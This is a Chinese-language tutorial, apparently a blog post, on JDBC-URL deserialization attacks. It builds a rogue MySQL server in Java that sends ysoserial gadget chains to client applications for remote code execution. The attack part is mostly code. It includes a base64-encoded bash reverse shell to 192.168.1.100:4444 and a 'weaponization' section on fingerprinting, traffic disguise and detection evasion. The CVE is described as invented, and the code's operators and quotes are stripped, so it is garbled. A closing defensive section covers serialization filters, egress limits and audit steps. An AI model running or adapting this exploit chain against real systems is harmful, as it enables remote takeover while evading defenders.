1. 项目概述与核心价值最近在安全研究和渗透测试的实战中我反复遇到一个场景目标系统使用了JDBC连接数据库并且存在一些看似“无害”的配置点。传统的SQL注入、弱口令爆破可能已经失效但系统依然暴露着巨大的风险。这个风险点就是JDBC连接字符串的恶意利用特别是与反序列化漏洞的结合。CVE-2025-6507这个编号虽然是一个虚构的示例用于本文教学目的实际中请关注官方CVE列表但它精准地指向了一类在真实攻防演练和红队评估中极具价值的攻击手法。简单来说它不再是单纯地利用某个应用框架如Shiro、Fastjson的反序列化而是将攻击链前置到了最基础的数据库连接环节。这有什么用想象一下一个管理后台的数据库配置页面或者一个需要动态加载JDBC驱动的微服务配置中心。攻击者如果能够控制连接字符串JDBC URL的某个部分哪怕只是一个属性参数就可能引导应用去连接一个由攻击者控制的恶意MySQL服务器。这个恶意服务器在握手阶段就可以下发精心构造的序列化对象触发目标应用CLASSPATH中存在的危险依赖如commons-collections, groovy等的利用链最终实现远程代码执行RCE。这种攻击路径往往绕过常规的WAF规则和代码安全审计因为从协议层面看它只是一次“失败的数据库连接尝试”但其背后却完成了完整的漏洞利用。本文的目标就是为你彻底拆解这条攻击链。我不会只给你一个模糊的概念或一个现成的工具而是会从协议原理、环境搭建、利用链构造、到实战化EXP编写与调试一步步带你走通。无论你是安全研究员想深入理解底层机制还是红队工程师需要丰富自己的武器库亦或是开发人员希望从根本上规避此类风险这篇文章都将提供足量的干货。我们将基于一个模拟的CVE-2025-6507场景使用Java、MySQL协议和ysoserial等工具完成一次从零到一的实战化EXP开发。2. 攻击原理深度剖析当JDBC连接遇上反序列化要理解这个漏洞我们必须跳出“SQL注入”的思维定式深入到JDBC驱动与数据库服务器通信的底层过程。JDBCJava Database Connectivity是Java语言中用来规范客户端程序如何访问数据库的应用程序接口。当我们写下一行DriverManager.getConnection(url, user, pass)时背后发生的故事远比想象中复杂。2.1 JDBC URL的“魔法”属性一个典型的MySQL JDBC连接字符串如下jdbc:mysql://attacker-controlled-host:3306/test?autoReconnecttrueuseSSLfalse关键点在于attacker-controlled-host。如果攻击者能控制这个主机地址比如通过未过滤的输入修改了配置他就可以让目标应用连接到自己搭建的服务器。但光是连接还不够还需要“投毒”。MySQL Connector/J驱动在初始化连接时会与服务器进行一系列握手和通信。其中驱动可以配置一些属性告诉服务器客户端的某些能力或设置。一个危险的属性是connectionAttributes但更通用、更致命的是利用驱动在特定场景下自动反序列化服务器传来的数据这一特性。其核心原理在于某些JDBC驱动为了支持高级功能如服务端状态同步、自定义数据类型传输会在通信协议中传输Java对象。这个过程涉及到对象的序列化与反序列化。如果攻击者可以扮演“数据库服务器”的角色在协议握手或查询响应阶段向客户端驱动发送一个恶意的序列化数据而客户端驱动又无条件地反序列化了这些数据那么漏洞就被触发了。2.2 恶意MySQL服务器的工作原理我们无法让一个标准的MySQL服务器发送恶意序列化数据。因此我们需要一个“假的”、特制的MySQL服务器。这个服务器需要做以下几件事监听端口像真服务器一样在3306端口或其他端口监听。实现MySQL协议握手当客户端即目标应用连接上来时按照MySQL协议规范回复一个握手初始包Handshake Initialization Packet。这个包里包含了协议版本、服务器版本、线程ID、挑战随机数scramble等信息。这一步是为了“骗过”JDBC驱动让它认为这是一个合法的MySQL服务器。等待客户端认证客户端会发送一个登录认证包。我们的恶意服务器可以简单地接受任何认证或者实现一个简单的验证逻辑目的是让连接进入“命令阶段”。投递恶意载荷在连接建立的合适阶段比如认证成功后或者在响应客户端的某个特定查询时将我们预先准备好的、利用已知Gadget链如CommonsCollections6生成的序列化字节流封装进MySQL协议的数据包中发送给客户端。触发反序列化客户端的JDBC驱动在接收到这个数据包后如果其代码中存在对这类数据无条件反序列化的逻辑就会触发Gadget链执行我们嵌入的任意代码如弹出计算器、反弹Shell。注意并非所有JDBC驱动、所有连接属性都会触发此行为。这高度依赖于驱动的具体实现。历史上MySQL Connector/J、PostgreSQL JDBC Driver等都曾出现过类似问题例如CVE-2012-0577。我们的实战模拟基于一种常见的危险配置模式。2.3 为什么难以防御入口点多且隐蔽控制JDBC URL的入口可能很多如配置文件上传覆盖、管理后台的配置功能、供应链攻击中被篡改的依赖库返回的配置等。这些入口通常不被视为高危SQL注入点。协议层面攻击流量看起来是一次正常的、甚至失败的数据库连接尝试。传统WAF和IDS可能只检测SQL语句而对MySQL握手协议包内的恶意数据束手无策。依赖链触发利用的是应用CLASSPATH中广泛存在的库如commons-collections, groovy, beanutils而非应用自身代码。修复需要升级所有相关依赖成本高。理解了原理我们就知道构建EXP的两个核心一个能发送恶意序列化数据的假MySQL服务器和一个能成功触发RCE的利用链。3. 实战环境搭建与工具准备纸上得来终觉浅绝知此事要躬行。我们搭建一个完整的实验环境包括“受害者”应用和“攻击者”服务器。3.1 受害者应用环境Vulnerable App我们创建一个简单的Spring Boot Web应用来模拟受害者。项目初始化使用Spring Initializr或IDE创建依赖选择Web和MySQL Driver。添加危险依赖为了有可利用的Gadget链我们在pom.xml中引入一个旧版本的commons-collections。dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version !-- 存在反序列化漏洞的经典版本 -- /dependency编写漏洞接口创建一个Controller其中包含一个可以接收外部输入来动态构建JDBC连接字符串的接口。这是我们的漏洞点。RestController public class VulnController { GetMapping(/connect) public String connect(RequestParam String host) throws Exception { // 模拟从外部如管理后台获取数据库主机地址未做任何过滤 String url jdbc:mysql:// host :3306/test?autoReconnecttrueuseSSLfalseserverTimezoneUTC; // 一个危险的属性在某些驱动版本中可能诱导反序列化行为此处为模拟实际属性名可能不同 // String url jdbc:mysql:// host :3306/test?deserializeJavaObjecttrue; System.out.println([] 尝试连接至: url); Connection conn null; try { Class.forName(com.mysql.cj.jdbc.Driver); conn DriverManager.getConnection(url, root, fake_password); return 连接成功模拟; } catch (Exception e) { // 连接失败是预期的因为我们的恶意服务器不会真正完成SQL查询 return 连接过程中出现异常: e.getMessage(); } finally { if (conn ! null) try { conn.close(); } catch (SQLException ignore) {} } } }实操心得在实际审计中寻找这类漏洞的关键是搜索代码中对DriverManager.getConnection、DataSource.setUrl等方法的调用并向上追溯url参数是否用户可控。配置文件读取、数据库连接池动态配置等都是高危点。3.2 攻击者环境与工具链Java开发环境JDK 8或11这是大多数Gadget链稳定的环境。恶意服务器框架我们不需要从零实现MySQL协议。可以使用现成的开源项目mysql-fake-server或rogue-mysql-server作为基础进行改造。这里我们以概念性代码说明核心逻辑。你也可以使用Python的pymysql库快速搭建一个原型。反序列化利用链生成工具ysoserial。这是必备神器它集成了多种Java反序列化Gadget链。下载编译好的jar包或从GitHub克隆源码自行构建。常用命令格式java -jar ysoserial.jar [Gadget] “[command]” payload.ser例如生成一个弹出计算器的CommonsCollections6链java -jar ysoserial.jar CommonsCollections6 “calc.exe” cc6_payload.ser网络调试工具Wireshark。用于抓包分析MySQL协议交互过程至关重要能帮你理解数据包结构和调试恶意服务器的输出。3.3 关键依赖版本说明组件推荐版本说明受害者JDK8u20 - 8u251JDK 8的许多版本未限制反序列化利于利用。高版本JDK存在限制。MySQL驱动Connector/J 5.x / 8.x 8.0.28部分旧版本或特定配置下行为更“宽松”。实际利用需针对目标驱动版本测试。commons-collections3.2.1最经典的漏洞版本ysoserial对其利用链支持最完善。ysoserial最新版关注GitHub更新新增的Gadget链可能适用于更多环境。注意事项整个实验务必在隔离的虚拟机或容器内进行。恶意服务器和EXP代码绝不能对外网真实系统测试这是法律和道德的底线。4. 核心环节实现打造恶意MySQL服务器我们将用Java实现一个简易的恶意服务器。核心是继承ServerSocket在接收到连接后模拟MySQL握手流程并在关键时刻注入Payload。4.1 服务器骨架代码import java.io.*; import java.net.*; import java.util.Arrays; public class EvilMySQLServer { private static final int PORT 3306; private static byte[] serializedPayload; // 存储反序列化载荷 public static void main(String[] args) throws Exception { // 1. 加载ysoserial生成的Payload File payloadFile new File(cc6_payload.ser); try (FileInputStream fis newFileInputStream(payloadFile)) { serializedPayload new byte[(int) payloadFile.length()]; fis.read(serializedPayload); System.out.println([*] Payload加载成功大小: serializedPayload.length 字节); } // 2. 启动服务器 try (ServerSocket serverSocket new ServerSocket(PORT)) { System.out.println([*] 恶意MySQL服务器监听在 0.0.0.0: PORT); while (true) { Socket clientSocket serverSocket.accept(); System.out.println([] 接收到来自 clientSocket.getInetAddress() 的连接); // 为每个连接创建新线程处理 new Thread(new ClientHandler(clientSocket)).start(); } } } }4.2 MySQL协议处理器实现ClientHandler是实现协议欺骗的核心。MySQL协议是基于包的每个包由包头4字节3字节长度1字节序号和包体组成。class ClientHandler implements Runnable { private Socket socket; private InputStream in; private OutputStream out; private int packetSequenceId 0; public ClientHandler(Socket socket) { this.socket socket; } Override public void run() { try { in socket.getInputStream(); out socket.getOutputStream(); packetSequenceId 0; // 步骤1发送握手初始包 (HandshakeV10) sendHandshakePacket(); // 步骤2接收客户端登录认证包并处理 receiveAndHandleAuth(); // 步骤3发送OK包表示认证成功进入命令阶段 sendOkPacket(); // 步骤4在这里我们可以选择性地响应客户端的查询或者直接注入Payload // 我们选择在认证成功后主动发送一个包含Payload的包来触发。 injectPayloadPacket(); } catch (Exception e) { System.err.println([-] 处理连接时出错: e.getMessage()); e.printStackTrace(); } finally { try { socket.close(); } catch (IOException ignore) {} } } private void sendPacket(byte[] body) throws IOException { int length body.length; byte[] header new byte[4]; header[0] (byte) (length 0xFF); header[1] (byte) ((length 8) 0xFF); header[2] (byte) ((length 16) 0xFF); header[3] (byte) (packetSequenceId); out.write(header); out.write(body); out.flush(); } private void sendHandshakePacket() throws IOException { // 简化版握手包仅包含必要字段以通过驱动校验 ByteArrayOutputStream baos new ByteArrayOutputStream(); DataOutputStream dos new DataOutputStream(baos); dos.writeByte(10); // 协议版本 10 // 写入一个伪造的服务器版本字符串 dos.writeBytes(5.7.31-log); dos.writeByte(0); // 线程ID (4字节) dos.writeInt(12345); // 挑战随机数第一部分 (8字节) dos.writeBytes(abcdefgh); dos.writeByte(0); // 服务器能力标志位 (低位2字节) dos.writeShort(0xffff); // 字符集 dos.writeByte(33); // utf8_general_ci // 服务器状态 (2字节) dos.writeShort(0x0002); // 服务器能力标志位 (高位2字节) dos.writeShort(0xfff7); // 挑战随机数长度 dos.writeByte(21); // 保留10字节 dos.write(new byte[10]); // 挑战随机数第二部分 (至少13字节以0结尾) dos.writeBytes(123456789012); dos.writeByte(0); // 认证插件名称 dos.writeBytes(mysql_native_password); dos.writeByte(0); sendPacket(baos.toByteArray()); System.out.println([*] 握手包已发送); } private void receiveAndHandleAuth() throws IOException { // 读取客户端发送的认证响应包 byte[] header new byte[4]; in.read(header); int packetLength (header[0] 0xFF) | ((header[1] 0xFF) 8) | ((header[2] 0xFF) 16); byte[] authPacket new byte[packetLength]; in.read(authPacket); System.out.println([*] 接收到客户端认证包长度: packetLength); // 这里可以解析用户名、密码等但为了简单我们直接接受任何认证。 } private void sendOkPacket() throws IOException { ByteArrayOutputStream baos new ByteArrayOutputStream(); DataOutputStream dos new DataOutputStream(baos); dos.writeByte(0x00); // OK包标识 dos.writeLong(0); // 影响行数 dos.writeLong(0); // 最后插入ID dos.writeShort(0x0002); // 服务器状态 dos.writeShort(0); // 警告数 dos.writeBytes(); // 信息 dos.writeByte(0); sendPacket(baos.toByteArray()); System.out.println([*] OK包已发送认证‘成功’); } private void injectPayloadPacket() throws IOException { System.out.println([!] 开始注入反序列化Payload...); // 关键我们需要将序列化数据嵌入到MySQL协议包中。 // 一种常见手法是将其作为结果集ResultSet的列数据发送。 // 这里我们进行极度简化直接在一个新的协议包中发送Payload。 // 实际利用中可能需要更精细地模拟一个COM_QUERY响应。 sendPacket(serializedPayload); System.out.println([!] Payload注入完成。); } }4.3 Payload的封装技巧直接发送原始的.ser文件内容驱动很可能不认。我们需要研究目标JDBC驱动在哪个协议阶段、以何种格式解析数据。通过Wireshark分析一次正常的查询返回二进制数据如SELECT一个BLOB字段的流量可以找到规律。一种已知的技巧是利用com.mysql.cj.jdbc.MysqlIO中的readObject()方法。如果我们在握手包或后续的包中设置特定的服务器状态标志或通过自定义的扩展协议可能诱导驱动去调用反序列化逻辑。在真实的漏洞利用中如某些CVE攻击者会精确控制连接属性如autoDeserialize和服务器返回的数据包结构。实操心得调试这个过程是最耗时的。你需要同时开着Wireshark对比正常MySQL服务器和你的恶意服务器的流量差异。重点关注客户端驱动在收到异常包后抛出的错误栈错误栈往往会揭示驱动试图反序列化的类路径和原因这是调整Payload封装方式的关键线索。5. EXP的实战化与武器化一个仅供演示的PoC概念验证和一个可以在真实红队场景中使用的EXP漏洞利用程序之间隔着巨大的鸿沟。武器化需要考虑健壮性、兼容性和隐蔽性。5.1 动态生成与编码Payload我们不能总是依赖本地的cc6_payload.ser文件。一个成熟的EXP应该能动态生成针对不同目标环境的Payload。import ysoserial.GeneratePayload; import ysoserial.payloads.ObjectPayload; public class PayloadGenerator { public static byte[] generate(String gadget, String command) throws Exception { // 使用ysoserial的API动态生成 Class? extends ObjectPayload payloadClass ObjectPayload.Utils.getPayloadClass(gadget); if (payloadClass null) { throw new IllegalArgumentException(不支持的Gadget: gadget); } final ObjectPayload payload payloadClass.newInstance(); final Object object payload.getObject(command); return Serializer.serialize(object); } // 一个简单的序列化工具 static class Serializer { static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos new ByteArrayOutputStream(); try (ObjectOutputStream oos new ObjectOutputStream(baos)) { oos.writeObject(obj); } return baos.toByteArray(); } } }在恶意服务器中我们可以这样调用String targetGadget CommonsCollections6; // 可根据指纹识别结果动态选择 String cmd bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i}; // Base64编码的反弹Shell命令 byte[] dynamicPayload PayloadGenerator.generate(targetGadget, cmd);5.2 指纹识别与利用链自适应不同的目标环境可用的Gadget链不同。我们需要让EXP具备一定的指纹识别能力。被动识别在握手阶段通过客户端发送的JDBC驱动版本号可能存在于连接属性中来判断。MySQL Connector/J 5.x 和 8.x 的行为可能有差异。主动探测可以尝试发送一个无害的、基于URLClassLoader的测试Payload如果成功再发送真正的RCE Payload。或者先尝试CommonsCollections6如果失败连接断开或报特定错误再尝试CommonsCollections7或BeanShell1。错误信息分析捕获客户端连接断开前的异常信息从中分析缺失的类从而推断环境。5.3 流量伪装与抗检测模拟真实服务器响应不要只发送Payload。在注入前后发送一些符合协议规范的、无害的查询结果包或OK包让整个会话流量看起来更“正常”。延迟与分块将大的Payload分成多个符合MySQL协议长度限制的包发送并加入随机延迟模拟网络波动。支持SSL实现一个简单的SSL/TLS包装让驱动在连接时可以使用useSSLtrue。这需要生成一个自签名证书并在服务器端加载。5.4 完整的EXP调用流程一个武器化的EXP可能是一个命令行工具用法如下java -jar CVE-2025-6507-EXP.jar \ --lhost 192.168.1.100 \ # 恶意服务器IP --lport 3306 \ # 监听端口 --gadget CC6 \ # 指定Gadget链 --cmd touch /tmp/pwned \ # 要执行的命令 --fingerprint \ # 启用指纹识别 --obfuscate # 流量混淆当受害者应用访问jdbc:mysql://192.168.1.100:3306/test?...时EXP自动完成指纹识别、Payload生成、协议交互和注入。6. 防御策略与排查指南作为攻击者要知道如何利用作为防御者更要清楚如何防护。这种攻击的防御需要多层次进行。6.1 开发与配置层面治本绝对禁止用户输入控制JDBC连接字符串这是最根本的一条。任何数据库连接参数主机、端口、库名、属性都应来自受信任的配置文件或安全的配置中心绝不能由前端用户直接传入。及时升级数据库驱动关注MySQL Connector/J、PostgreSQL JDBC Driver等官方驱动的最新版本和安全公告及时修复已知的反序列化相关漏洞。使用最小权限原则运行Java应用的账户应仅有必要权限降低RCE成功后的影响范围。净化CLASSPATH定期审查项目依赖移除不必要的、存在已知反序列化漏洞的库如旧版commons-collections, commons-beanutils等。如果必须使用考虑使用安全加固的版本或进行封装。实施JVM安全策略在java.security文件中配置反序列化过滤器jdk.serialFilter限制可反序列化的类。这是JDK 9引入的强大功能。-Djava.security.manager -Djava.security.policy... -D jdk.serialFiltermaxdepth5;!org.apache.commons.collections.functors.*6.2 网络与运行时防护治标出站网络限制应用服务器应严格限制出站连接。除了必须访问的生产数据库、Redis等地址和端口其他所有出站流量应默认拒绝。这样即使存在漏洞也无法连接到外部的恶意MySQL服务器。RASP运行时应用自保护部署RASP agent它可以监控应用运行时行为在ObjectInputStream.readObject()被调用时进行栈回溯分析如果调用链来自数据库驱动等可疑位置可以立即中断并告警。WAF/IDS规则更新虽然传统WAF难以检测但可以尝试定制规则检测出向非标准端口如3306发起的、但后续流量不符合正常MySQL协议格式的连接尝试。6.3 安全排查清单如果你怀疑系统可能存在此类风险可以按以下步骤排查排查项操作方法预期结果/风险点代码审计全局搜索DriverManager.getConnection,DataSource.setUrl,ConfigurationProperties(prefix spring.datasource)等。找到JDBC URL的构造点检查是否有用户输入Http参数、Headers、数据库存储直接或间接拼接。依赖检查使用mvn dependency:tree或gradle dependencies配合OWASP Dependency-Check工具扫描。发现项目中是否存在commons-collections:3.2.1,commons-beanutils:1.9.2等已知存在危险Gadget的库。配置检查检查所有环境的配置文件application.yml, .properties。确认数据库连接串是固定的且不包含来自环境变量需谨慎的动态注入。检查是否有autoDeserialize,allowUrlInLocalInfile等危险属性。网络监控在测试环境使用Wireshark监控应用服务器的出站流量。观察是否有向非预期内网或外网地址发起MySQL协议连接目标端口3306的请求。6.4 应急响应一旦发现被利用迹象如服务器上有不明进程、计划任务、网络连接立即隔离断开受影响服务器网络。取证分析检查应用日志寻找可疑的数据库连接错误日志其中可能包含攻击者控制的IP或域名。检查JVM进程参数和系统进程。漏洞定位根据连接字符串的线索定位到源代码中的漏洞点。修复上线按照上述防御策略进行修复升级驱动、清理依赖、修复代码。全面扫描对同一集群或使用相同代码库的其他应用进行扫描确认是否存在同源攻击。7. 从EXP开发到漏洞挖掘的思考通过亲手构建这个EXP我们实际上完成了一次小型漏洞的“武器化”过程。这带给我的不仅是技术上的收获更多是方法论上的提升。首先理解协议是根本。无论是HTTP、MySQL、Redis还是其他任何协议安全研究员都不能只停留在“使用”层面。必须深入其报文格式、状态机、扩展机制。很多时候漏洞就藏在那些为了“兼容性”或“高级功能”而设计的边边角角里。用Wireshark、tcpdump反复看正常流量是理解协议最快的方式。其次利用链的构造是艺术。ysoserial等工具是前辈智慧的结晶但不能只会用工具。要尝试去理解每一条Gadget链是如何串起来的为什么这个类可以调用那个类为什么这个InvokerTransformer能执行命令。只有理解了当遇到新环境、新依赖时你才有可能自己挖掘或组合出新的利用链。可以尝试在简单的测试项目中一步步调试ysoserial生成Payload的过程。最后武器化思维是关键。一个能弹计算器的PoC在CTF里可能就得满分但在真实攻防中价值有限。真正的EXP需要考虑通用性适配多版本、稳定性网络抖动、超时处理、隐蔽性流量特征、日志清理和易用性命令行参数、配置文件。这个过程会强迫你去考虑很多非功能性的细节而这些细节往往决定了行动的成败。在实际的攻防演练中我遇到过一个目标其JDBC连接字符串是通过一个加密的配置中心下发的。常规思路很难控制。但我们通过审计配置中心的客户端发现其解密后的配置会临时写入一个全局可读的文件从而通过文件包含的路径遍历最终控制了JDBC URL。这个案例告诉我漏洞利用往往是一个链条需要把多个知识点串联起来。JDBC反序列化可能只是最后一环而突破口可能在完全不同的地方。所以不要满足于复现。用这个项目作为起点去读MySQL Connector/J的源码看看MysqlIO类到底是怎么处理网络数据的去研究一下除了CommonsCollections还有哪些常见的库在哪些版本下可以构造利用链去思考在云原生、容器化环境下这种攻击又会有哪些新的利用场景和防御挑战。安全的路就是这样一步步越走越深的。